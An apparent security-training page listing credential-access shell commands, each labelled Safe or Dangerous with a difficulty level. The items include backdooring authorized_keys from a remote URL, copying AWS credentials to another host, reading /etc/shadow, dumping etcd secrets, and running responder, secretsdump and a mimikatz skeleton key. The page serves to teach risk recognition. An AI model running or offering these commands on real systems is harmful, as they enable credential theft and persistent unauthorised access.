← ReflexSec
Credential Access
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Dangerous
mv /etc/passwd /tmp/passwd.bakIntermediate - Safe
chmod 600 ~/.ssh/id_ed25519Intermediate - Dangerous
chmod 777 ~/.ssh/authorized_keysAdvanced - Dangerous
mv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediate - Dangerous
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvanced - Dangerous
curl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert - Dangerous
Get-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare - Safe
git rm --cached .envProIntermediate - Dangerous
git add .env.local && git commit -m "add local config for tests"ProIntermediate - Safe
chmod 600 ./config/service-account.jsonProIntermediate - Dangerous
printenv | tee ci-debug.txtProIntermediate - Safe
gh secret set DEPLOY_TOKEN < ./new-token.txtProIntermediate - Dangerous
echo "//registry.example.com/:_authToken=$NPM_TOKEN" > .npmrcProExpert - Dangerous
ssh -A deploy@bastion.example.com 'bash -s' < ./scripts/deploy.shProExpert - Dangerous
chmod 644 ~/.ssh/id_ed25519 && ssh -i ~/.ssh/id_ed25519 deploy@app.example.comProExpert - Safe
passwd -S "$(whoami)"ProExpert - Safe
gitleaks detect --source . --redact --report-path ./gitleaks.jsonProAdvanced - Dangerous
ssh-keyscan -H app.example.com >> ~/.ssh/known_hostsProExpert - Dangerous
kubectl create configmap app-config --from-file=./secrets/.envProNightmare - Safe
shred -u ./tmp/old-deploy-key.pemProNightmare - Dangerous
jq -n 'env' > /tmp/debug-env.jsonProIntermediate - Dangerous
kubectl get secret api-keys -o json | jq -r '.data | to_entries[] | .value' >> deploy.logProAdvanced - Dangerous
jq --rawfile key "$HOME/.ssh/id_rsa" '.deploy_key = $key' config.jsonProAdvanced - Safe
curl -s --fail https://api.example.com/v1/keys | jq 'del(.private_key)' > keys-public.jsonProExpert - Dangerous
cat tokens.json | jq -r '.[] | @base64d' | tee /tmp/tokens.txtProExpert - Dangerous
jq "$USER_FILTER" data.jsonProNightmare - Dangerous
rsync -av -e 'ssh -o StrictHostKeyChecking=no' ./secrets/ deploy@backup.example.com:/vault/ProExpert - Dangerous
curl -k https://api.example.com/v1/token -H 'Authorization: Bearer example-token'ProIntermediate - Dangerous
wget --no-check-certificate -O deploy.key https://internal.example.com/deploy.keyProAdvanced - Dangerous
ssh -A deploy@bastion.example.comProNightmare - Dangerous
scp -r ~/.aws deploy@build.example.com:/tmp/ProExpert - Dangerous
docker run --rm -v /etc:/mnt:ro alpine cat /mnt/shadowProAdvanced - Dangerous
docker build --build-arg NPM_TOKEN="$NPM_TOKEN" -t app:1.4 .ProNightmare - Dangerous
sed -i "s|__TOKEN__|$API_TOKEN|" ./dist/config.jsProExpert - Dangerous
mysql -h db.example.com -u app -pexample-password -e "SELECT * FROM users"ProAdvanced - Safe
$cred = Get-Credential -UserName svc_deploy -Message 'Deployment account'ProAdvanced - Dangerous
$cred = New-Object System.Management.Automation.PSCredential('svc_deploy', (ConvertTo-SecureString 'S3cr3t!' -AsPlainText -Force))ProAdvanced - Safe
$cred = Import-Clixml .\svc_deploy.credProExpert - Dangerous
Start-Transcript -Path \\fileserver.example.com\logs\$env:USERNAME.logProAdvanced - Safe
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720} | Select-Object TimeCreated, @{n='User';e={$_.Properties[0].Value}}ProNightmare - Dangerous
kubectl create secret generic api-creds --from-literal=password=hunter2ProAdvanced - Safe
kubectl get secret app-tls -o jsonpath='{.data.tls\.crt}' | base64 -d | openssl x509 -noout -enddateProAdvanced - Safe
kubectl create token ci-runner --duration=10m -n ciProAdvanced - Dangerous
kubectl create token ci-runner --duration=8760h -n ciProAdvanced - Safe
kubectl create secret generic api-creds --from-file=password=./password.txtProExpert - Dangerous
chmod 644 ~/.kube/configProExpert - Safe
kubeseal --format yaml < ./secret.yaml > ./sealed-secret.yamlProNightmare - Dangerous
ETCDCTL_API=3 etcdctl --endpoints=https://localhost:2379 get /registry/secrets --prefix --keys-onlyProNightmare - Safe
chmod 600 ~/.aws/credentialsProIntermediate - Safe
aws iam get-credential-report --query Content --output text | base64 -d | head -5ProAdvanced - Safe
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/deploy --role-session-name ci-build --duration-seconds 900ProIntermediate - Safe
az keyvault secret show --vault-name app-kv --name db-password --query value -o tsvProAdvanced - Dangerous
aws iam create-access-key --user-name ci-runnerProAdvanced - Dangerous
aws configure set aws_secret_access_key EXAMPLEKEYEXAMPLE123 --profile prodProAdvanced - Safe
aws kms decrypt --ciphertext-blob fileb://./config.enc --query Plaintext --output text | base64 -dProExpert - Dangerous
aws secretsmanager put-resource-policy --secret-id prod/db --resource-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":"secretsmanager:GetSecretValue"}]}'ProExpert - Safe
strings ./sample-8f2a.bin | grep -E 'passwd|shadow'ProExpert - Safe
hashcat -m 1000 ./captured-ntlm.txt ./wordlist.txtProAdvanced - Safe
sed -i '/rt-2026-014/d' ~/.ssh/authorized_keysProExpert - Dangerous
sudo responder -I eth0 -wFProExpert - Dangerous
sudo cp /var/lib/samba/private/secrets.tdb ./loot/ && secretsdump.py -sam sam.hive LOCALProExpert - Safe
shred -u ./loot/captured-ntlm.txtProNightmare - Safe
kerbrute passwordspray -d example.local --dc 198.51.100.5 users.txt 'Autumn2026!' --delay 3600ProNightmare - Safe
bloodhound-python -d example.local -u svc_audit -p '***' -ns 198.51.100.5 -c DCOnlyProNightmare - Dangerous
gophish --config ./live-campaign.jsonProNightmare - Safe
gpg --encrypt --recipient lead@example.com ./RT-2026-014-findings.mdProNightmare - Safe
ticketer.py -domain example.local -domain-sid S-1-5-21-0-0-0 -nthash '***' rt-demoProNightmare - Dangerous
mimikatz 'privilege::debug' 'misc::skeleton' exitProNightmare - Safe
chmod 600 ~/.ssh/rt_ed25519ProAdvanced - Dangerous
ssh svc_backup@vendor-portal.example.orgProAdvanced - Dangerous
sudo userdel -r intruderProIntermediate - Safe
sudo usermod -L intruderProIntermediate - Safe
aws iam update-access-key --access-key-id AKIAEXAMPLE1 --status InactiveProAdvanced - Safe
last -Faiw > /evidence/ir-2026-004/logins.txtProAdvanced - Safe
sudo chage -l intruder > /evidence/ir-2026-004/intruder-acct.txtProAdvanced - Safe
az keyvault secret set --vault-name app-kv --name db-password --value "$(openssl rand -base64 24)"ProExpert - Dangerous
mysql -e "DROP USER 'intruder'@'%'"ProExpert - Safe
ssh-keygen -lf ~/.ssh/id_ed25519.pubBeginner - Dangerous
passwd rootBeginner - Dangerous
rm -rf ~/.sshBeginner